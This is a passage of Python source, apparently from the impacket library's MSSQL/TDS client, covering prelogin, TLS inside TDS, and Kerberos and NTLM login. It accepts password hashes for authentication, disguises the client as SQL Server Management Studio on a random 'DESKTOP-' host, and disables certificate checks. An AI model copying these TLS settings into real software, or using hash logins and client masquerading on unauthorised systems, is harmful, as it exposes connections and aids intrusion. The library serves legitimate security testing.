datetime.date.fromordinal(dateValue)\n                dt = datetime.datetime(\n                    date_obj.year,\n                    date_obj.month,\n                    date_obj.day,\n                    hours,\n                    minutes,\n                    secs,\n                    microsecs,\n                )\n\n                # Create timezone-aware datetime\n                tz = datetime.timezone(datetime.timedelta(minutes=offsetMinutes))\n                return dt.replace(tzinfo=tz)\n\n            # Types with VARIANT_PROPBYTES = 2 or 7\n            # Numeric/Decimal types (VARIANT_PROPBYTES = 2)\n            elif baseType in (TDS_NUMERICNTYPE, TDS_DECIMALNTYPE):\n                # Properties: precision (1 byte) + scale (1 byte)\n                precision = properties[0] if len(properties) > 0 else 0\n                scale = properties[1] if len(properties) > 1 else 0\n\n                if len(data) == 0:\n                    return \"NULL\"\n\n                # First byte is sign (1 = positive, 0 = negative)\n                sign = 1 if data[0] == 1 else -1\n\n                # Remaining bytes are the number in little-endian format\n                numBytes = data[1:]\n                value = int.from_bytes(numBytes, byteorder=\"little\", signed=False)\n\n                getcontext().prec = precision\n\n                number = Decimal(value)\n                if scale:\n                    number /= Decimal(10) ** scale\n\n                if sign < 0:\n                    number = -number\n\n                return number\n\n            # For unsupported types, return hex representation\n            else:\n                return f\"0x{binascii.b2a_hex(data).decode('ascii')}\"\n\n        except Exception as e:\n            # If parsing fails, return hex representation with error note\n            return f\"<parse_error: {str(e)}, hex: {binascii.b2a_hex(data).decode('ascii')}>\"\n\n\nclass MSSQL:\n    def __init__(\n        self,\n        address,\n        port=1433,\n        remoteName=\"\",\n        workstation_id: str = \"\",\n        application_name: str = \"\",\n        rowsPrinter=DummyPrint(),\n    ):\n        # self.packetSize = 32764\n        self.packetSize = 32763\n        self.server = address\n        self.remoteName = remoteName\n        self.port = port\n        self.socket = 0\n        self.replies = {}\n        self.colMeta = []\n        self.rows = []\n        self.currentDB = \"\"\n        self.COL_SEPARATOR = \"  \"\n        self.MAX_COL_LEN = 255\n        self.lastError = False\n        self.tlsSocket = None\n        self.__rowsPrinter = rowsPrinter\n        self.mssql_version = \"\"\n\n        self._workstation_id = workstation_id or f\"DESKTOP-{uuid4().hex[:8].upper()}\"\n        self._application_name = (\n            application_name or \"Microsoft SQL Server Management Studio - Query\"\n        )\n\n    # With Kerberos we need to know to which MSSQL instance we are going to connect (to compute the SPN)\n    # As such we need to be able to list these instances which is what this code does\n    def getInstances(self, timeout=5):\n        packet = SQLR()\n        packet[\"OpCode\"] = SQLR_CLNT_UCAST_EX\n\n        # Open the connection\n        af, socktype, proto, canonname, sa = socket.getaddrinfo(\n            self.server, SQLR_PORT, 0, socket.SOCK_DGRAM\n        )[0]\n        s = socket.socket(af, socktype, proto)\n\n        s.sendto(packet.getData(), 0, (self.server, SQLR_PORT))\n        ready, _, _ = select.select([s.fileno()], [], [], timeout)\n        if not ready:\n            return []\n        else:\n            data, _ = s.recvfrom(65536, 0)\n\n        s.close()\n        resp = SQLR_Response(data)\n\n        # Now parse the results\n        entries = resp[\"Data\"].split(b\";;\")\n\n        # We don't want the last one, it's empty\n        entries.pop()\n\n        # the answer to send back\n        resp = []\n\n        for i, entry in enumerate(entries):\n            fields = entry.split(b\";\")\n            ret = {}\n            for j, field in enumerate(fields):\n                if (j & 0x1) == 0:\n                    ret[field.decode(\"utf-8\")] = fields[j + 1].decode(\"utf-8\")\n            resp.append(ret)\n\n        return resp\n\n    # This is where we compute the pre login TDS packet\n    def preLogin(self):\n        # First we initiate the structure\n        prelogin = TDS_PRELOGIN()\n        # Then we fill the version of the MSSQL client we use\n        prelogin[\"Version\"] = b\"\\x08\\x00\\x01\\x55\\x00\\x00\"\n        # We specify we support encryption but don't want it\n        prelogin[\"Encryption\"] = TDS_ENCRYPT_OFF\n        # Random threadID because we don't care about this\n        prelogin[\"ThreadID\"] = struct.pack(\"<L\", random.randint(0, 65535))\n        # The instance name\n        prelogin[\"Instance\"] = b\"MSSQLServer\\x00\"\n        # We send the prelogin packet, receive the response from the server\n        self.sendTDS(TDS_PRE_LOGIN, prelogin.getData(), 0)\n        tds = self.recvTDS()\n        response = TDS_PRELOGIN(tds[\"Data\"])\n        self.mssql_version = MSSQL_VERSION(response[\"Version\"])\n        # And return the result to the Login or KerberosLogin functions for futher parsing\n        return response\n\n    def encryptPassword(self, password):\n        return bytes(\n            bytearray(\n                [\n                    ((x & 0x0F) << 4) + ((x & 0xF0) >> 4) ^ 0xA5\n                    for x in bytearray(password)\n                ]\n            )\n        )\n\n    def connect(self, timeout=30):\n        af, socktype, proto, canonname, sa = socket.getaddrinfo(\n            self.server, self.port, 0, socket.SOCK_STREAM\n        )[0]\n        sock = socket.socket(af, socktype, proto)\n        sock.settimeout(timeout)\n\n        try:\n            sock.connect(sa)\n        except Exception:\n            # import traceback\n            # traceback.print_exc()\n            raise\n\n        self.socket = sock\n        return sock\n\n    def disconnect(self):\n        if self.socket:\n            return self.socket.close()\n\n    def setPacketSize(self, packetSize):\n        self.packetSize = packetSize\n\n    def getPacketSize(self):\n        return self.packetSize\n\n    #################### SEND DATA #####################################################################\n\n    # This function is the generic sendTDS packet which is used to embed data into a regular TDS packet\n    # Once the TDS packet is computed, it is send to the socketSendall function that will check\n    # whether or not we have to encrypt the packets\n    def sendTDS(self, packetType, data, packetID=1):\n        if (len(data) - 8) > self.packetSize:\n            remaining = data[self.packetSize - 8 :]\n            tds = TDSPacket()\n            tds[\"Type\"] = packetType\n            tds[\"Status\"] = TDS_STATUS_NORMAL\n            tds[\"PacketID\"] = packetID\n            tds[\"Data\"] = data[: self.packetSize - 8]\n            self.socketSendall(tds.getData())\n\n            while len(remaining) > (self.packetSize - 8):\n                packetID += 1\n                tds[\"PacketID\"] = packetID\n                tds[\"Data\"] = remaining[: self.packetSize - 8]\n                self.socketSendall(tds.getData())\n                remaining = remaining[self.packetSize - 8 :]\n            data = remaining\n            packetID += 1\n\n        tds = TDSPacket()\n        tds[\"Type\"] = packetType\n        tds[\"Status\"] = TDS_STATUS_EOM\n        tds[\"PacketID\"] = packetID\n        tds[\"Data\"] = data\n        self.socketSendall(tds.getData())\n\n    # This function is a wrapper that is used to dispatch packets to send depending of the TLS context\n    def socketSendall(self, data):\n        if self.tlsSocket is None:\n            # socket.sendall() is the basic function used to send data over the network\n            return self.socket.sendall(data)\n        else:\n            # tls_send is the one to use when dealing with TLS\n            return self.tls_send(data)\n\n    # If the socket is tlsSocket (means we have a TLS context) then we need to send the data to the TLS context\n    # Then we'll retrieve the encrypted data from the self.out_bio the in_bio which is encrypted\n    # Finally we call the sendall function to the send the encrypted data\n    def tls_send(self, data):\n        # First we send the data into the TLS context\n        self.tlsSocket.write(data)\n        # Then we read the encrypted result from the TLS context\n        while True:\n            try:\n                # We retrieve the encrypted data from the TLS context\n                encrypted = self.out_bio.read(4096)\n                if not encrypted:\n                    break\n                # And we send the data\n                self.socket.sendall(encrypted)\n            except ssl.SSLWantReadError:\n                break\n            except ssl.SSLWantWriteError:\n                break\n            except ConnectionResetError as e:\n                LOG.error(f\"[!] Connection reset when sending data: {e}\")\n                raise\n\n    #################### SEND DATA #####################################################################\n\n    #################### READ DATA #####################################################################\n\n    # This function is the generic recvTDS packet which is used to extract data from a regular TDS packet\n    # Once the TDS packet is extracted, it is send to the socketRecv function that will check\n    # whether or not we have to decrypt the packets\n    def recvTDS(self, packetSize=None):\n        if packetSize is None:\n            packetSize = self.packetSize\n\n        data = b\"\"\n        while data == b\"\":\n            data = self.socketRecv(packetSize)\n\n        packet = TDSPacket(data)\n\n        status = packet[\"Status\"]\n        packetLen = packet[\"Length\"] - 8\n        while packetLen > len(packet[\"Data\"]):\n            data = self.socketRecv(packetSize)\n            packet[\"Data\"] += data\n\n        remaining = None\n        if packetLen < len(packet[\"Data\"]):\n            remaining = packet[\"Data\"][packetLen:]\n            packet[\"Data\"] = packet[\"Data\"][:packetLen]\n\n        while status != TDS_STATUS_EOM:\n            if remaining is not None:\n                tmpPacket = TDSPacket(remaining)\n            else:\n                tmpPacket = TDSPacket(self.socketRecv(packetSize))\n\n            packetLen = tmpPacket[\"Length\"] - 8\n            while packetLen > len(tmpPacket[\"Data\"]):\n                data = self.socketRecv(packetSize)\n                tmpPacket[\"Data\"] += data\n\n            remaining = None\n            if packetLen < len(tmpPacket[\"Data\"]):\n                remaining = tmpPacket[\"Data\"][packetLen:]\n                tmpPacket[\"Data\"] = tmpPacket[\"Data\"][:packetLen]\n\n            status = tmpPacket[\"Status\"]\n            packet[\"Data\"] += tmpPacket[\"Data\"]\n            packet[\"Length\"] += tmpPacket[\"Length\"] - 8\n\n        return packet\n\n    # This function is a wrapper that is used to dispatch packets to read depending of the TLS context\n    def socketRecv(self, bufsize):\n        if self.tlsSocket is None:\n            return self.socket.recv(bufsize)\n        else:\n            return self.tls_recv(bufsize)\n\n    # If the socket is tlsSocket (means we have a TLS context) then we need to read the date from it\n    # And apss it to the TLS context via the self.in_bio object which is going to decrypt it\n    def tls_recv(self, bufsize):\n        while True:\n            try:\n                # Try to read decrypted data first\n                decrypted = self.tlsSocket.read(bufsize)\n                if decrypted:\n                    return decrypted\n            except ssl.SSLWantReadError:\n                pass  # Means we need more encrypted bytes\n\n            # Read more encrypted bytes from the socket\n            encrypted = self.socket.recv(bufsize)\n            if not encrypted:\n                # Remote closed the connection\n                return b\"\"\n\n            self.in_bio.write(encrypted)\n\n    #################### READ DATA #####################################################################\n\n    # This function returns the computed Channel Binding Token based on the tls-unique value\n    def generate_cbt_from_tls_unique(self):\n        channel_binding_struct = b\"\"\n        initiator_address = b\"\\x00\" * 8\n        acceptor_address = b\"\\x00\" * 8\n        application_data_raw = b\"tls-unique:\" + self.tls_unique\n        len_application_data = len(application_data_raw).to_bytes(\n            4, byteorder=\"little\", signed=False\n        )\n        application_data = len_application_data\n        application_data += application_data_raw\n        channel_binding_struct += initiator_address\n        channel_binding_struct += acceptor_address\n        channel_binding_struct += application_data\n        cbt_token = md5(channel_binding_struct).digest()\n        LOG.debug(f\"Computed tls-unique CBT token: {cbt_token.hex()}\")\n        return cbt_token\n\n    # This function is used to set the TLS context, process the handshak in memory\n    # And define all variables that will be used both by Login or KerberosLogin\n    def set_tls_context(self):\n        LOG.info(\"Encryption required, switching to TLS\")\n        # Creates a TLS context\n        context = ssl.SSLContext()\n        context.set_ciphers(\"ALL:@SECLEVEL=0\")\n        context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED\n        context.verify_mode = ssl.CERT_NONE\n\n        # Here comes the important part, MSSQL server does not expect a raw TLS socket\n        # Instead it expects TDS packets to be sent in which TLS data is embedded\n        # Something like TDS_PACKET[\"Data\"] = TLS_ENCRYPTED(data)\n        # To setup such a TLS tunnel inside another program, we need to use a STARTTLS like mechanism\n        # Which relies on MemoryBIO that are used to send data to the TLS context and receive data from it as well\n        # IN_BIO is where we send data to be encrypted and sent to the MSSQL server\n        in_bio = ssl.MemoryBIO()\n        # OUT_BIO is where we read data send by the MSSQL server inside a TDS packet\n        out_bio = ssl.MemoryBIO()\n\n        # Now we can create the TLS object that will be used to manage handshake and data processing\n        tls = context.wrap_bio(in_bio, out_bio)\n\n        # So first let's handshake with the remote MSSQL server\n        while True:\n            try:\n                # This sends the TLS client hello\n                tls.do_handshake()\n            except ssl.SSLWantReadError:\n                # If we get a SSLWantReadError then it means the server received enough data and want to send some to us\n                # So we read the data sent by the server and we send it back to it inside a TDS_PRE_LOGIN packet\n                # That's the actual TLS server hello\n                data = out_bio.read(4096)\n                self.sendTDS(TDS_PRE_LOGIN, data, 0)\n\n                # Now we read data one more time to extract the final TLS message\n                tds_packet = self.recvTDS(4096)\n                tls_data = tds_packet[\"Data\"]\n\n                # And we send that data to the in_bio object to complete the handshake\n                in_bio.write(tls_data)\n            else:\n                break\n\n        # At this point the TLS context is set up so we just store object inside the MSSQL class\n        # That will be used to encryp/decrpt data and send them to the MSSQL server\n        self.packetSize = 16 * 1024 - 1\n        self.tlsSocket = tls\n        self.in_bio = in_bio\n        self.out_bio = out_bio\n\n        # Finally we retrieve the tls-unique value which is computed from the final TLS handshake message (this is the CBT token)\n        self.tls_unique = tls.get_channel_binding(\"tls-unique\")\n\n    def kerberosLogin(\n        self,\n        database,\n        username,\n        password=\"\",\n        domain=\"\",\n        hashes=None,\n        aesKey=\"\",\n        kdcHost=None,\n        TGT=None,\n        TGS=None,\n        useCache=True,\n    ):\n        if hashes is not None:\n            lmhash, nthash = hashes.split(\":\")\n            lmhash = binascii.a2b_hex(lmhash)\n            nthash = binascii.a2b_hex(nthash)\n        else:\n            lmhash = \"\"\n            nthash = \"\"\n\n        resp = self.preLogin()\n        # If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF\n        # Then it means we need to setup a TLS context\n        if (\n            resp[\"Encryption\"] == TDS_ENCRYPT_REQ\n            or resp[\"Encryption\"] == TDS_ENCRYPT_OFF\n        ):\n            self.set_tls_context()\n\n        # That part is used to compute the Version field for the NTLM_NEGOTIATE and NTLM_AUTHENTICATE messages\n        self.version = ntlm.VERSION()\n        (\n            self.version[\"ProductMajorVersion\"],\n            self.version[\"ProductMinorVersion\"],\n            self.version[\"ProductBuild\"],\n        ) = (10, 0, 20348)\n\n        login = TDS_LOGIN()\n        login[\"HostName\"] = self.workstation_id.encode(\"utf-16le\")\n        login[\"AppName\"] = self.application_name.encode(\"utf-16le\")\n        login[\"ServerName\"] = self.remoteName.encode(\"utf-16le\")\n        login[\"CltIntName\"] = login[\"AppName\"]\n        login[\"ClientPID\"] = random.randint(0, 1024)\n        login[\"PacketSize\"] = self.packetSize\n        if database is not None:\n            login[\"Database\"] = database.encode(\"utf-16le\")\n        login[\"OptionFlags2\"] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON\n\n        # Importing down here so pyasn1 is not required if kerberos is not used.\n        from impacket.spnego import SPNEGO_NegTokenInit, TypesMech\n        from impacket.krb5.ccache import CCache\n        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set\n        from impacket.krb5.kerberosv5 import (\n            getKerberosTGT,\n            getKerberosTGS,\n            KerberosError,\n            CheckSumField,\n        )\n        from impacket.krb5 import constants\n        from impacket.krb5.types import Principal, KerberosTime, Ticket\n        from pyasn1.codec.der import decoder, encoder\n        from pyasn1.type.univ import noValue\n        from impacket.krb5.gssapi import (\n            CheckSumField,\n            GSS_C_REPLAY_FLAG,\n            GSS_C_SEQUENCE_FLAG,\n        )\n\n        if useCache:\n            domain, username, TGT, TGS = CCache.parseFile(\n                domain, username, \"MSSQLSvc/%s:%d\" % (self.remoteName, self.port)\n            )\n\n            if TGS is None:\n                # search for the port's instance name instead (instance name based SPN)\n                LOG.debug(\n                    \"Searching target's instances to look for port number %s\"\n                    % self.port\n                )\n                instances = self.getInstances()\n                instanceName = None\n                for i in instances:\n                    try:\n                        if int(i[\"tcp\"]) == self.port:\n                            instanceName = i[\"InstanceName\"]\n                    except Exception as e:\n                        pass\n\n                if instanceName:\n                    domain, username, TGT, TGS = CCache.parseFile(\n                        domain,\n                        username,\n                        \"MSSQLSvc/%s.%s:%s\"\n                        % (self.remoteName.split(\".\")[0], domain, instanceName),\n                    )\n\n        # First of all, we need to get a TGT for the user\n        userName = Principal(\n            username, type=constants.PrincipalNameType.NT_PRINCIPAL.value\n        )\n        while True:\n            if TGT is None:\n                if TGS is None:\n                    try:\n                        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(\n                            userName, password, domain, lmhash, nthash, aesKey, kdcHost\n                        )\n                    except KerberosError as e:\n                        if (\n                            e.getErrorCode()\n                            == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value\n                        ):\n                            # We might face this if the target does not support AES\n                            # So, if that's the case we'll force using RC4 by converting\n                            # the password to lm/nt hashes and hope for the best. If that's already\n                            # done, byebye.\n                            if (\n                                lmhash == \"\"\n                                and nthash == \"\"\n                                and (aesKey == \"\" or aesKey is None)\n                                and TGT is None\n                                and TGS is None\n                            ):\n                                from impacket.ntlm import compute_lmhash, compute_nthash\n\n                                LOG.debug(\"Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4\")\n                                lmhash = compute_lmhash(password)\n                                nthash = compute_nthash(password)\n                                continue\n                            else:\n                                raise\n                        else:\n                            raise\n            else:\n                tgt = TGT[\"KDC_REP\"]\n                cipher = TGT[\"cipher\"]\n                sessionKey = TGT[\"sessionKey\"]\n\n            if TGS is None:\n                # From https://msdn.microsoft.com/en-us/library/ms191153.aspx?f=255&MSPPError=-2147217396\n                # Beginning with SQL Server 2008, the SPN format is changed in order to support Kerberos authentication\n                # on TCP/IP, named pipes, and shared memory. The supported SPN formats for named and default instances\n                # are as follows.\n                # Named instance\n                #     MSSQLSvc/FQDN:[port | instancename], where:\n                #         MSSQLSvc is the service that is being registered.\n                #         FQDN is the fully qualified domain name of the server.\n                #         port is the TCP port number.\n                #         instancename is the name of the SQL Server instance.\n                serverName = Principal(\n                    \"MSSQLSvc/%s.%s:%d\"\n                    % (self.remoteName.split(\".\")[0], domain, self.port),\n                    type=constants.PrincipalNameType.NT_SRV_INST.value,\n                )\n                try:\n                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(\n                        serverName, domain, kdcHost, tgt, cipher, sessionKey\n                    )\n                except KerberosError as e:\n                    if (\n                        e.getErrorCode()\n                        == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value\n                    ):\n                        # We might face this if the target does not support AES\n                        # So, if that's the case we'll force using RC4 by converting\n                        # the password to lm/nt hashes and hope for the best. If that's already\n                        # done, byebye.\n                        if (\n                            lmhash == \"\"\n                            and nthash == \"\"\n                            and (aesKey == \"\" or aesKey is None)\n                            and TGT is None\n                            and TGS is None\n                        ):\n                            from impacket.ntlm import compute_lmhash, compute_nthash\n\n                            LOG.debug(\"Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4\")\n                            lmhash = compute_lmhash(password)\n                            nthash = compute_nthash(password)\n                        else:\n                            raise\n                    else:\n                        raise\n                else:\n                    break\n            else:\n                tgs = TGS[\"KDC_REP\"]\n                cipher = TGS[\"cipher\"]\n                sessionKey = TGS[\"sessionKey\"]\n                break\n\n        # Let's build a NegTokenInit with a Kerberos REQ_AP\n\n        blob = SPNEGO_NegTokenInit()\n\n        # Kerberos\n        blob[\"MechTypes\"] = [TypesMech[\"MS KRB5 - Microsoft Kerberos 5\"]]\n\n        # Let's extract the ticket from the TGS\n        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n        ticket = Ticket()\n        ticket.from_asn1(tgs[\"ticket\"])\n\n        # Now let's build the AP_REQ\n        apReq = AP_REQ()\n        apReq[\"pvno\"] = 5\n        apReq[\"msg-type\"] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq[\"ap-options\"] = constants.encodeFlags(opts)\n        seq_set(apReq, \"ticket\", ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator[\"authenticator-vno\"] = 5\n        authenticator[\"crealm\"] = domain\n        seq_set(authenticator, \"cname\", userName.components_to_asn1)\n        now = datetime.datetime.now(datetime.timezone.utc)\n\n        authenticator[\"cusec\"] = now.microsecond\n        authenticator[\"ctime\"] = KerberosTime.to_asn1(now)\n        authenticator[\"cksum\"] = noValue\n        authenticator[\"cksum\"][\"cksumtype\"] = 0x8003\n\n        # Here we compute the checkField and add the Channel Binding token if using TLS\n        chkField = CheckSumField()\n        chkField[\"Lgth\"] = 16\n        chkField[\"Flags\"] = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG\n        if self.tlsSocket:\n            chkField[\"Bnd\"] = self.generate_cbt_from_tls_unique()\n        authenticator[\"cksum\"][\"checksum\"] = chkField.getData()\n        authenticator[\"seq-number\"] = 0\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 11\n        # AP-REQ Authenticator (includes application authenticator\n        # subkey), encrypted with the application session key\n        # (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(\n            sessionKey, 11, encodedAuthenticator, None\n        )\n\n        apReq[\"authenticator\"] = noValue\n        apReq[\"authenticator\"][\"etype\"] = cipher.enctype\n        apReq[\"authenticator\"][\"cipher\"] = encryptedEncodedAuthenticator\n\n        blob[\"MechToken\"] = encoder.encode(apReq)\n\n        # Seeting the last options for our TDS packet\n        # TDS_INTEGRATED_SECURITY_ON enables Windows authentication\n        login[\"OptionFlags2\"] |= TDS_INTEGRATED_SECURITY_ON\n        # Include the entire blog's data into the login packet in the SSPI field\n        login[\"SSPI\"] = blob.getData()\n        # Sets the length of the packet\n        login[\"Length\"] = len(login.getData())\n\n        # Send login packet which is containing the Kerberos tickets\n        self.sendTDS(TDS_LOGIN7, login.getData())\n\n        # According to the specs, if encryption is not required, we must encrypt just\n        # the first Login packet :-o\n        if resp[\"Encryption\"] == TDS_ENCRYPT_OFF:\n            self.tlsSocket = None\n\n        # We then receive the TDS response from the server and parse its response to see if we are logged in or not\n        tds = self.recvTDS()\n        self.replies = self.parseReply(tds[\"Data\"])\n        if TDS_LOGINACK_TOKEN in self.replies:\n            return True\n        else:\n            return False\n\n    def login(\n        self,\n        database,\n        username,\n        password=\"\",\n        domain=\"\",\n        hashes=None,\n        useWindowsAuth=False,\n    ):\n\n        if hashes is not None:\n            lmhash, nthash = hashes.split(\":\")\n            lmhash = binascii.a2b_hex(lmhash)\n            nthash = binascii.a2b_hex(nthash)\n        else:\n            lmhash = \"\"\n            nthash = \"\"\n\n        # First things first, we need to anounciate to the MSSQL server sending a TDS_PRELOGIN\n        resp = self.preLogin()\n\n        # If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF\n        # Then it means we need to setup a TLS context\n        if (\n            resp[\"Encryption\"] == TDS_ENCRYPT_REQ\n            or resp[\"Encryption\"] == TDS_ENCRYPT_OFF\n        ):\n            self.set_tls_context()\n\n        # That part is used to compute the Version field for the NTLM_NEGOTIATE and NTLM_AUTHENTICATE messages\n        self.version = ntlm.VERSION()\n        (\n            self.version[\"ProductMajorVersion\"],\n            self.version[\"ProductMinorVersion\"],\n            self.version[\"ProductBuild\"],\n        ) = (10, 0, 20348)\n\n        login = TDS_LOGIN()\n        login[\"HostName\"] = self.workstation_id.encode(\"utf-16le\")\n        login[\"AppName\"] = self.application_name.encode(\"utf-16le\")\n        login[\"ServerName\"] = self.remoteName.encode(\"utf-16le\")\n        login[\"CltIntName\"] = login[\"AppName\"]\n        login[\"ClientPID\"] = random.randint(0, 1024)\n        login[\"PacketSize\"] = self.packetSize\n        if database is not None:\n            login[\"Database\"] = database.encode(\"utf-16le\")\n\n        # These flags means:\n        # TDS_INIT_LANG_FATAL: if we specify a language (let's say fr) and we want the MSSQL server to serve us french\n        # But for a reason, it can't, then the connection is closed\n        # TDS_ODBC_ON: specifies that we are a ODBC driver (but we are clearly not)\n        login[\"OptionFlags2\"] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON\n\n        # If we rely on Windows Authentication\n        if useWindowsAuth is True:\n            # Amongs these fields, the following flag need to be set if we rely on a Windows Authentication (and not local mssql accounts)\n            login[\"OptionFlags2\"] |= TDS_INTEGRATED_SECURITY_ON\n            # We send compute the first NTLM message (NTLMSSP_NEGOTIATE) asking for NTLMv2\n            # Indeed NTLMv2 doesn't support CBT nor signing\n            auth = ntlm.getNTLMSSPType1(\"\", \"\", use_ntlmv2=True, version=self.version)\n            # We then fill the TDS_LOGIN[\"SSPI\"] fields with the NTLMSSP_NEGOTIATE packet\n            login[\"SSPI\"] = auth.getData()\n\n        # If we rely on local MSSQL authentication (sa account for example)\n        else:\n            login[\"UserName\"] = username.encode(\"utf-16le\")\n            login[\"Password\"] = self.encryptPassword(password.encode(\"utf-16le\"))\n            login[\"SSPI\"] = \"\"\n\n        # And finally we fill the Length field and send the TDS packet to initiate NTLM authentication\n        login[\"Length\"] = len(login.getData())\n\n        # Send the NTLMSSP Negotiate or SQL Auth Packet\n        self.sendTDS(TDS_LOGIN7, login.getData())\n\n        # According to the specs, if encryption is not required, we must encrypt just\n        # the first Login packet :-o\n        if resp[\"Encryption\"] == TDS_ENCRYPT_OFF:\n            self.tlsSocket = None\n\n        # We then receive its response which is either\n        # - A NTLMSSP_CHALLENGE packet\n        # - The response for the local authentication from the MSSQL server\n        tds = self.recvTDS()\n\n        if useWindowsAuth is True:\n\n            # Each TDS packet has a header so we extract the NTLMSSP_CHALLENGE from it\n            serverChallenge = tds[\"Data\"][3:]\n\n            # We then compute the Channel Binding Token from the tls-unique value retrieved before\n            channel_binding_value = b\"\"\n            if self.tlsSocket:\n                channel_binding_value = self.generate_cbt_from_tls_unique()\n\n            # Generate the NTLM ChallengeResponse AUTH\n            type3, exportedSessionKey = ntlm.getNTLMSSPType3(\n                auth,\n                serverChallenge,\n                username,\n                password,\n                domain,\n                lmhash,\n                nthash,\n                service=\"MSSQLSvc\",\n                use_ntlmv2=True,\n                channel_binding_value=channel_binding_value,\n                version=self.version,\n            )\n\n            # Now we initiate the MIC field with 0's\n            type3[\"MIC\"] = b\"\\x00\" * 16\n\n            # And we calculate the final MIC value based on the 3 NTLMSSP packets and the exportedEncryptedSessionKey\n            ntlm_negotiate_data = auth.getData()\n            ntlm_challenge_data = ntlm.NTLMAuthChallenge(serverChallenge).getData()\n            ntlm_authenticate_data = type3.getData()\n            newmic = ntlm.hmac_md5(\n                exportedSessionKey,\n                ntlm_negotiate_data + ntlm_challenge_data + ntlm_authenticate_data,\n            )\n            LOG.debug(f\"Computed MIC is {newmic.hex()}\")\n            type3[\"MIC\"] = newmic\n\n            # Finally we send the ntlmssp_authenticate packet inside a TDS_SSPI packet\n            self.sendTDS(TDS_SSPI, type3.getData())\n            # And we receive the final response from the MSSQL server\n            tds = self.recvTDS()\n\n        # At this point we have received an authentication response from the server whether it is\n        # via a WindowsAuth or a local MSSQL auth so we just have to parse the response\n        self.replies = self.parseReply(tds[\"Data\"])\n        if TDS_LOGINACK_TOKEN in self.replies:\n            return True\n        else:\n            return False\n\n    def processColMeta(self):\n        for col in self.colMeta:\n            if col[\"Type\"] in [TDS_NVARCHARTYPE, TDS_NCHARTYPE, TDS_NTEXTTYPE]:\n                col[\"Length\"] = col[\"TypeData\"] // 2\n                fmt = \"%%-%ds\"\n            elif col[\"Type\"] in [TDS_GUIDTYPE]:\n                col[\"Length\"] = 36\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_DECIMALNTYPE, TDS_NUMERICNTYPE]:\n                col[\"Length\"] = ord(col[\"TypeData\"][0:1])\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_DATETIMNTYPE]:\n                col[\"Length\"] = 19\n                fmt = \"%%-%ds\"\n            elif col[\"Type\"] in [TDS_INT4TYPE, TDS_INTNTYPE]:\n                col[\"Length\"] = 11\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_FLTNTYPE, TDS_MONEYNTYPE]:\n                col[\"Length\"] = 25\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_BITNTYPE, TDS_BIGCHARTYPE]:\n                col[\"Length\"] = col[\"TypeData\"]\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_BIGBINARYTYPE, TDS_BIGVARBINTYPE]:\n                col[\"Length\"] = col[\"TypeData\"] * 2\n                fmt = \"%%%ds\"\n            elif col[\"Type\"] in [TDS_TEXTTYPE, TDS_BIGVARCHRTYPE]:\n                col[\"Length\"] = col[\"TypeData\"]\n                fmt = \"%%-%ds\"\n            else:\n                col[\"Length\"] = 10\n                fmt = \"%%%ds\"\n\n            col[\"minLenght\"] = 0\n            for row in self.rows:\n                if len(str(row[col[\"Name\"]])) > col[\"minLenght\"]:\n                    col[\"minLenght\"] = len(str(row[col[\"Name\"]]))\n            if col[\"minLenght\"] < col[\"Length\"]:\n                col[\"Length\"] = col[\"minLenght\"]\n\n            if len(col[\"Name\"]) > col[\"Length\"]:\n                col[\"Length\"] = len(col[\"Name\"])\n            elif col[\"Length\"] > self.MAX_COL_LEN:\n                col[\"Length\"] = self.MAX_COL_LEN\n\n            col[\"Format\"] = fmt % col[\"Length\"]\n\n    def printColumnsHeader(self):\n        if len(self.colMeta) == 0:\n            return\n        for col in self.colMeta:\n            self.__rowsPrinter.logMessage(\n                col[\"Format\"] % col[\"Name\"] + self.COL_SEPARATOR\n            )\n        self.__rowsPrinter.logMessage(\"\\r\")\n        for col in self.colMeta:\n            self.__rowsPrinter.logMessage(\"-\" * col[\"Length\"] + self.COL_SEPARATOR)\n        self.__rowsPrinter.logMessage(\"\\r\")\n\n    def printRows(self):\n        if self.lastError is True:\n            return\n        self.processColMeta()\n        self.printColumnsHeader()\n        for row in self.rows:\n            for col in self.colMeta:\n                self.__rowsPrinter.logMessage(\n                    col[\"Format\"] % row[col[\"Name\"]] + self.COL_SEPARATOR\n                )\n            self.__rowsPrinter.logMessage(\"\\r\")\n\n    def printReplies(self, error_logger=LOG.error, info_logger=LOG.info):\n        for keys in list(self.replies.keys()):\n            for i, key in enumerate(self.replies[keys]):\n                if key[\"TokenType\"] == TDS_ERROR_TOKEN:\n                    self.lastError = SQLErrorException(\n                        \"ERROR(%s): Line %d: %s\"\n                        % (\n                            key[\"ServerName\"].decode(\"utf-16le\"),\n                            key[\"LineNumber\"],\n                            key[\"MsgText\"].decode(\"utf-16le\"),\n                        )\n                    )\n                    error_logger(self.lastError)\n\n                elif key[\"TokenType\"] == TDS_INFO_TOKEN:\n                    info_logger(\n                        \"INFO(%s): Line %d: %s\"\n                        % (\n                            key[\"ServerName\"].decode(\"utf-16le\"),\n                            key[\"LineNumber\"],\n                            key[\"MsgText\"].decode(\"utf-16le\"),\n                        )\n                    )\n\n                elif key[\"TokenType\"] == TDS_LOGINACK_TOKEN:\n                    info_logger(\n                        f\"ACK: Result: 